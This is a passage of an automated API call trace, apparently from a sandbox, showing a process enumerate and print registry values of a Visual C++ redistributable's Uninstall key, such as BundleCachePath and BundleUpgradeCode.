_Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\n") returned 122 [0149.576] _fileno (_File=0x7fefd702ab0) returned 1 [0149.576] _errno () returned 0x204bb0 [0149.576] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.576] _errno () returned 0x204bb0 [0149.576] GetFileType (hFile=0x50) returned 0x1 [0149.577] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\n") returned 122 [0149.577] GetConsoleOutputCP () returned 0x1b5 [0149.577] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0149.577] GetConsoleOutputCP () returned 0x1b5 [0149.577] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\n", lpUsedDefaultChar=0x0) returned 122 [0149.577] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0149.577] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.577] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{3c3aafc8-d898-43ec-998f-965ffdae065a}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.577] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x14, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.577] GetProcessHeap () returned 0x3c0000 [0149.577] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2a) returned 0x3d78d0 [0149.577] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleCachePath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.577] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleCachePath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xac) returned 0x0 [0149.577] GetProcessHeap () returned 0x3c0000 [0149.577] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xae) returned 0x3e1c70 [0149.577] GetProcessHeap () returned 0x3c0000 [0149.577] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.577] GetProcessHeap () returned 0x3c0000 [0149.577] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xae [0149.577] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleCachePath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xac | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", pcbData=0x29f780*=0xaa) returned 0x0 [0149.578] __iob_func () returned 0x7fefd702a80 [0149.578] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.578] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.578] _fileno (_File=0x7fefd702ab0) returned 1 [0149.578] _errno () returned 0x204bb0 [0149.578] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.578] _errno () returned 0x204bb0 [0149.578] GetFileType (hFile=0x50) returned 0x1 [0149.578] lstrlenW (lpString=" ") returned 4 [0149.578] GetConsoleOutputCP () returned 0x1b5 [0149.578] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.578] GetConsoleOutputCP () returned 0x1b5 [0149.578] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.578] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.578] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.578] lstrlenW (lpString="BundleCachePath") returned 15 [0149.578] __iob_func () returned 0x7fefd702a80 [0149.578] _fileno (_File=0x7fefd702ab0) returned 1 [0149.578] _errno () returned 0x204bb0 [0149.578] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.578] _errno () returned 0x204bb0 [0149.578] GetFileType (hFile=0x50) returned 0x1 [0149.578] lstrlenW (lpString="BundleCachePath") returned 15 [0149.578] GetConsoleOutputCP () returned 0x1b5 [0149.578] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleCachePath", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.579] GetConsoleOutputCP () returned 0x1b5 [0149.579] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleCachePath", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleCachePath", lpUsedDefaultChar=0x0) returned 15 [0149.579] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.579] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.579] __iob_func () returned 0x7fefd702a80 [0149.579] _fileno (_File=0x7fefd702ab0) returned 1 [0149.579] _errno () returned 0x204bb0 [0149.579] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.579] _errno () returned 0x204bb0 [0149.579] GetFileType (hFile=0x50) returned 0x1 [0149.579] lstrlenW (lpString=" ") returned 4 [0149.579] GetConsoleOutputCP () returned 0x1b5 [0149.579] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.579] GetConsoleOutputCP () returned 0x1b5 [0149.579] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.579] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.579] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.579] __iob_func () returned 0x7fefd702a80 [0149.579] _fileno (_File=0x7fefd702ab0) returned 1 [0149.579] _errno () returned 0x204bb0 [0149.579] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.579] _errno () returned 0x204bb0 [0149.579] GetFileType (hFile=0x50) returned 0x1 [0149.579] lstrlenW (lpString="REG_SZ") returned 6 [0149.579] GetConsoleOutputCP () returned 0x1b5 [0149.580] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.580] GetConsoleOutputCP () returned 0x1b5 [0149.580] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.580] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.580] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.580] __iob_func () returned 0x7fefd702a80 [0149.580] _fileno (_File=0x7fefd702ab0) returned 1 [0149.580] _errno () returned 0x204bb0 [0149.580] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.580] _errno () returned 0x204bb0 [0149.580] GetFileType (hFile=0x50) returned 0x1 [0149.580] lstrlenW (lpString=" ") returned 4 [0149.580] GetConsoleOutputCP () returned 0x1b5 [0149.580] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.580] GetConsoleOutputCP () returned 0x1b5 [0149.580] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.580] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.580] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.581] __iob_func () returned 0x7fefd702a80 [0149.581] _fileno (_File=0x7fefd702ab0) returned 1 [0149.581] _errno () returned 0x204bb0 [0149.581] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.581] _errno () returned 0x204bb0 [0149.581] GetFileType (hFile=0x50) returned 0x1 [0149.581] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned 84 [0149.581] GetConsoleOutputCP () returned 0x1b5 [0149.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", cchWideChar=84, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 84 [0149.581] GetConsoleOutputCP () returned 0x1b5 [0149.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", cchWideChar=84, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", lpUsedDefaultChar=0x0) returned 84 [0149.581] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 84 [0149.581] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.581] __iob_func () returned 0x7fefd702a80 [0149.581] _fileno (_File=0x7fefd702ab0) returned 1 [0149.581] _errno () returned 0x204bb0 [0149.581] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.581] _errno () returned 0x204bb0 [0149.581] GetFileType (hFile=0x50) returned 0x1 [0149.581] lstrlenW (lpString="\n") returned 1 [0149.581] GetConsoleOutputCP () returned 0x1b5 [0149.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.581] GetConsoleOutputCP () returned 0x1b5 [0149.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.582] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.582] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.582] GetProcessHeap () returned 0x3c0000 [0149.582] GetProcessHeap () returned 0x3c0000 [0149.582] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.582] GetProcessHeap () returned 0x3c0000 [0149.582] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xae [0149.582] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.582] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleUpgradeCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.582] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleUpgradeCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x54) returned 0x0 [0149.582] GetProcessHeap () returned 0x3c0000 [0149.582] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x56) returned 0x3db830 [0149.582] GetProcessHeap () returned 0x3c0000 [0149.582] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.582] GetProcessHeap () returned 0x3c0000 [0149.582] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x56 [0149.582] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleUpgradeCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x54 | out: pdwType=0x29f700*=0x7, pvData=0x3db830*, pcbData=0x29f780*=0x50) returned 0x0 [0149.582] __iob_func () returned 0x7fefd702a80 [0149.582] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.582] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.582] _fileno (_File=0x7fefd702ab0) returned 1 [0149.582] _errno () returned 0x204bb0 [0149.582] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.582] _errno () returned 0x204bb0 [0149.582] GetFileType (hFile=0x50) returned 0x1 [0149.582] lstrlenW (lpString=" ") returned 4 [0149.582] GetConsoleOutputCP () returned 0x1b5 [0149.582] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.582] GetConsoleOutputCP () returned 0x1b5 [0149.583] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.583] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.583] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.583] lstrlenW (lpString="BundleUpgradeCode") returned 17 [0149.583] __iob_func () returned 0x7fefd702a80 [0149.583] _fileno (_File=0x7fefd702ab0) returned 1 [0149.583] _errno () returned 0x204bb0 [0149.583] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.583] _errno () returned 0x204bb0 [0149.583] GetFileType (hFile=0x50) returned 0x1 [0149.583] lstrlenW (lpString="BundleUpgradeCode") returned 17 [0149.583] GetConsoleOutputCP () returned 0x1b5 [0149.583] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleUpgradeCode", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0149.583] GetConsoleOutputCP () returned 0x1b5 [0149.583] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleUpgradeCode", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleUpgradeCode", lpUsedDefaultChar=0x0) returned 17 [0149.583] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0149.583] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.583] __iob_func () returned 0x7fefd702a80 [0149.583] _fileno (_File=0x7fefd702ab0) returned 1 [0149.583] _errno () returned 0x204bb0 [0149.583] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.583] _errno () returned 0x204bb0 [0149.583] GetFileType (hFile=0x50) returned 0x1 [0149.583] lstrlenW (lpString=" ") returned 4 [0149.583] GetConsoleOutputCP () returned 0x1b5 [0149.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.584] GetConsoleOutputCP () returned 0x1b5 [0149.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.584] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.584] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.584] __iob_func () returned 0x7fefd702a80 [0149.584] _fileno (_File=0x7fefd702ab0) returned 1 [0149.584] _errno () returned 0x204bb0 [0149.584] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.584] _errno () returned 0x204bb0 [0149.584] GetFileType (hFile=0x50) returned 0x1 [0149.584] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0149.584] GetConsoleOutputCP () returned 0x1b5 [0149.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.584] GetConsoleOutputCP () returned 0x1b5 [0149.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0149.584] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.584] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.584] __iob_func () returned 0x7fefd702a80 [0149.584] _fileno (_File=0x7fefd702ab0) returned 1 [0149.584] _errno () returned 0x204bb0 [0149.584] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.584] _errno () returned 0x204bb0 [0149.584] GetFileType (hFile=0x50) returned 0x1 [0149.585] lstrlenW (lpString=" ") returned 4 [0149.585] GetConsoleOutputCP () returned 0x1b5 [0149.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.585] GetConsoleOutputCP () returned 0x1b5 [0149.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.585] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.585] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.585] __iob_func () returned 0x7fefd702a80 [0149.585] _fileno (_File=0x7fefd702ab0) returned 1 [0149.585] _errno () returned 0x204bb0 [0149.585] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.585] _errno () returned 0x204bb0 [0149.585] GetFileType (hFile=0x50) returned 0x1 [0149.585] lstrlenW (lpString="{1D1DB5E6-E0D8-3103-8570-369A82A9BF33}") returned 38 [0149.585] GetConsoleOutputCP () returned 0x1b5 [0149.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{1D1DB5E6-E0D8-3103-8570-369A82A9BF33}", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0149.585] GetConsoleOutputCP () returned 0x1b5 [0149.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{1D1DB5E6-E0D8-3103-8570-369A82A9BF33}", cchWideChar=38, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{1D1DB5E6-E0D8-3103-8570-369A82A9BF33}", lpUsedDefaultChar=0x0) returned 38 [0149.585] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 38 [0149.585] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.585] lstrlenW (lpString="{1D1DB5E6-E0D8-3103-8570-369A82A9BF33}") returned 38 [0149.586] __iob_func () returned 0x7fefd702a80 [0149.586] _fileno (_File=0x7fefd702ab0) returned 1 [0149.586] _errno () returned 0x204bb0 [0149.586] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.586] _errno () returned 0x204bb0 [0149.586] GetFileType (hFile=0x50) returned 0x1 [0149.586] lstrlenW (lpString="\n") returned 1 [0149.586] GetConsoleOutputCP () returned 0x1b5 [0149.586] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.586] GetConsoleOutputCP () returned 0x1b5 [0149.586] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.586] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.586] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.586] GetProcessHeap () returned 0x3c0000 [0149.586] GetProcessHeap () returned 0x3c0000 [0149.586] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.586] GetProcessHeap () returned 0x3c0000 [0149.586] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x56 [0149.586] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.586] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleAddonCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.586] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleAddonCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.586] GetProcessHeap () returned 0x3c0000 [0149.586] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.586] GetProcessHeap () returned 0x3c0000 [0149.586] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.586] GetProcessHeap () returned 0x3c0000 [0149.586] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.586] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleAddonCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0149.586] __iob_func () returned 0x7fefd702a80 [0149.587] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.587] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.587] _fileno (_File=0x7fefd702ab0) returned 1 [0149.587] _errno () returned 0x204bb0 [0149.587] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.587] _errno () returned 0x204bb0 [0149.587] GetFileType (hFile=0x50) returned 0x1 [0149.587] lstrlenW (lpString=" ") returned 4 [0149.587] GetConsoleOutputCP () returned 0x1b5 [0149.587] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.587] GetConsoleOutputCP () returned 0x1b5 [0149.587] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.587] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.587] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.587] lstrlenW (lpString="BundleAddonCode") returned 15 [0149.587] __iob_func () returned 0x7fefd702a80 [0149.587] _fileno (_File=0x7fefd702ab0) returned 1 [0149.587] _errno () returned 